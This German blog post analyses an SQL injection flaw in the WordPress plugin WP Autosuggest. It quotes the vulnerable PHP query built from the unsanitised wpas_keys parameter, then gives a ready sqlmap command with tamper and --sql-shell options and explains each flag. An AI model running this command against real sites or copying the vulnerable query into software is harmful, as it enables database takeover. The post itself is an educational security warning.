• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar
  • Skip to footer
Thx Cool

Thx Cool

  • Softwareentwicklung
  • SEO
  • Content Marketing
  • Hosting
  • Beratung
  • Blog
    • WordPress
    • Genesis
    • Sicherheit
    • SEO

Praktisches Beispiel für SQL-Injection

14. Dezember 2018 von thx cool

Das WordPress-Plugin WP Autosuggest weist aktuell einen Exploit auf. Neben den Hinweis, das Plugin nicht zu verwenden, zeigt Dir dieser Beitrag, wie solch eine Schwachstelle ausgenutzt werden kann.

Die Schwachstelle

Sehen wir uns erst einmal die Schwachstelle in dem Code des Plugins WP Autosuggest an und überlegen, wie er ausgenutzt werden kann.


if (isset($_GET['wpas_keys'])) {
	$wpas_keys = $_GET['wpas_keys'];
}
$wpas_keys = str_replace(' ','%',$wpas_keys);
	$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");

Das PHP-Skript liest den Parameter ‚wpas_keys‘ aus dem URL aus und ersetzt anschliessend eventuelle Leerzeichen mit der PHP-Funktion str_replace. Eine Validierung der ausgelesenen Daten findet nicht statt! Anschliessend erfolgt eine Datebankabfrage.

Ausnutzung der Schwachstelle durch SQL Injection

Eine Ausnutzung der Schwachstelle, fehlende Validierung, ist mit einem Tool wie sqlmap denkbar einfach.

Folgender Aufruf verschafft einem Angreifer eine interaktive Shell zur Datenbank:


sqlmap -u "http://vulnerable-url/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell

Wenn Dich die Verwendung des Programmes im Detail interessiert, kannst Du Dir nach der Installation durch den Aufruf: python sqlmap.py [options] die Optionen anzeigen lassen.

Kurz zur Erklärung. Die Option -u übergibt die URL mit den Parametern wpas_action=query und wpas_keys=1.

–technique gibt an, welche SQL-Techniken verwendet werden sollen. Würde ein Exploit existieren, mit dem auf Dateiebene zugegriffen werden könnte, müsste man den Wert S (Stacked queries) angeben. In diesem Fall geht es um die Übernahme der Datenbank durch eine falsche Abfrage. Daher wird die Verwendung von 2 Techniken spezifiziert, Boolean-based blind und Time-based blind.

Die Option risk definiert das Risiko, das eingegenagen wird. 3 spezifiziert den höchsten Wert und schliesst OR- basierte injections-Tests mit ein.

Die Option level gibt den Umfang der Tests an. Als Faustformel gilt, je schwieriger der Exploit zu entdecken ist, desto höher der Level. Mit 5 ist hier der maximale Level angegeben.

-p gibt den Parameter an, der getestet werden soll. In diesem Fall ‚wpas_keys‘.

–tamper wird eingesetzt um nicht vorhandene, oder schwache Validierung des Inputs auszunutzen. Tamper wird ein Script übergeben, das Kommentarauszeichnungen einschleust.

–sql-shell liefert eine SQL-Konsole zum Datenbankmanagementsystem.

Filed Under: Blog, Sicherheit

Reader Interactions

Schreibe einen Kommentar Antworten abbrechen

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

Primary Sidebar

Neueste Beiträge

  • MAC-Adresse verschleiern
  • Praktisches Beispiel für SQL-Injection
  • Ist Crowdfarming seriös?
  • Die besten Plugins für das Genesis Framework
  • Hooks und Filter in Genesis verstehen und anwenden

Schlagwörter

Catch-Theme Child-Theme Core-Funktionen überschreiben Dashicons Entry-Meta Daten ändern Filter Footer ändern Funktionen überschreiben Genesis Google Hooks PHP in Artikel Plugins Post Post Info SEO shortcode Suchfeldtext ändern Theme Weißer Bildschirm White Screen Wordpress Wordpress Footer Worpress Übersetzung

Lass Dir eine coole Webseite erstellen

THX bietet Dir alles was Du Dir für Deinen erfolgreichen Auftritt im Internet wünschst.

Kontakt aufnehmen
hosting

Lass Dir Deine coole Webseite von THX erstellen

Kontakt

Footer

Kontakt

  • Webseite
  • Email
  • Telephone

Navigation

  • Softwareentwicklung
  • SEO
  • Content Marketing
  • Hosting
  • Beratung
  • Blog

THX.cool

  • Impressum
  • Datenschutz

Newsletter

Copyright © 2021 Kai Hagemeister THX.cool